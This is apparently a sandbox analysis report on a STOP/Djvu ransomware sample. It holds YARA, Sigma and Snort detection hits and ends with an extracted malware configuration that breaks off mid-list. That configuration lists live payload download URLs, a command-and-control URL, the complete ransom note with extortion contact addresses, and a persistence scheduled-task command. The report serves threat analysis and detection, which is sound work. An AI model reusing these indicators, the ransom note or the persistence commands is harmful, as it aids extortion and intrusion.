1.2.AaIo4VGgvO.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.2.AaIo4VGgvO.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.2.AaIo4VGgvO.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
24.2.AaIo4VGgvO.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
24.2.AaIo4VGgvO.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
24.2.AaIo4VGgvO.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.AaIo4VGgvO.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.AaIo4VGgvO.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.AaIo4VGgvO.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
3.2.AaIo4VGgvO.exe.5e615a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
3.2.AaIo4VGgvO.exe.5e615a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
3.2.AaIo4VGgvO.exe.5e615a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.AaIo4VGgvO.exe.5dd15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.AaIo4VGgvO.exe.5dd15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.AaIo4VGgvO.exe.5dd15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.AaIo4VGgvO.exe.5e215a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.AaIo4VGgvO.exe.5e215a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.AaIo4VGgvO.exe.5e215a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
23.2.AaIo4VGgvO.exe.5db15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
23.2.AaIo4VGgvO.exe.5db15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.AaIo4VGgvO.exe.5dd15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
23.2.AaIo4VGgvO.exe.5db15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.AaIo4VGgvO.exe.5dd15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.AaIo4VGgvO.exe.5dd15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.AaIo4VGgvO.exe.5e215a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.AaIo4VGgvO.exe.5e215a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.AaIo4VGgvO.exe.5e215a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.2.AaIo4VGgvO.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.AaIo4VGgvO.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.AaIo4VGgvO.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.AaIo4VGgvO.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.AaIo4VGgvO.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.AaIo4VGgvO.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.AaIo4VGgvO.exe.5db15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.AaIo4VGgvO.exe.5db15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.AaIo4VGgvO.exe.5db15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
23.2.AaIo4VGgvO.exe.5db15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
23.2.AaIo4VGgvO.exe.5db15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
23.2.AaIo4VGgvO.exe.5db15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.2.AaIo4VGgvO.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.AaIo4VGgvO.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.AaIo4VGgvO.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.2.AaIo4VGgvO.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.2.AaIo4VGgvO.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.2.AaIo4VGgvO.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.AaIo4VGgvO.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.AaIo4VGgvO.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.AaIo4VGgvO.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.AaIo4VGgvO.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.AaIo4VGgvO.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.AaIo4VGgvO.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 114 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe" --AutoStart, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\AaIo4VGgvO.exe, ProcessId: 7344, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe", CommandLine: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe" , ParentImage: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe, ParentProcessId: 8016, ParentProcessName: build3.exe, ProcessCommandLine: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe", ProcessId: 8040, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Snort Signatures

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.4 - Destination IP: 189.195.132.134

Timestamp:	04/23/24-22:17:02.191038
SID:	2833438
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 189.195.132.134 - Destination IP: 192.168.2.4

Timestamp:	04/23/24-22:17:02.621797
SID:	2036335
Source Port:	80
Destination Port:	49734
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.4 - Destination IP: 189.195.132.134

Timestamp:	04/23/24-22:17:02.763570
SID:	2036333
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 189.195.132.134 - Destination IP: 192.168.2.4

Timestamp:	04/23/24-22:17:02.634850
SID:	2036335
Source Port:	80
Destination Port:	49735
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.4 - Destination IP: 189.195.132.134

Timestamp:	04/23/24-22:17:02.763570
SID:	2020826
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.4 - Destination IP: 187.228.55.117

Timestamp:	04/23/24-22:17:00.484535
SID:	2036333
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.4 - Destination IP: 187.228.55.117

Timestamp:	04/23/24-22:17:00.484535
SID:	2020826
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: AaIo4VGgvO.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://sdfjhuz.com/dl/build2.exe$run

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1313019
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Avira: detection malicious, Label: TR/AD.MalwareCrypter.llbpm
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Avira: detection malicious, Label: HEUR/AGEN.1313019

Found malware configuration

Source: 0000000B.00000002.1828199611.0000000005E20000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Djvu {"Download URLs": ["http://sdfjhuz.com/dl/build2.exe", "http://cajgtus.com/files/1/build3.exe"], "C2 url": "http://cajgtus.com/test1/get.php", "Ransom note file": "_README.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0863PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", 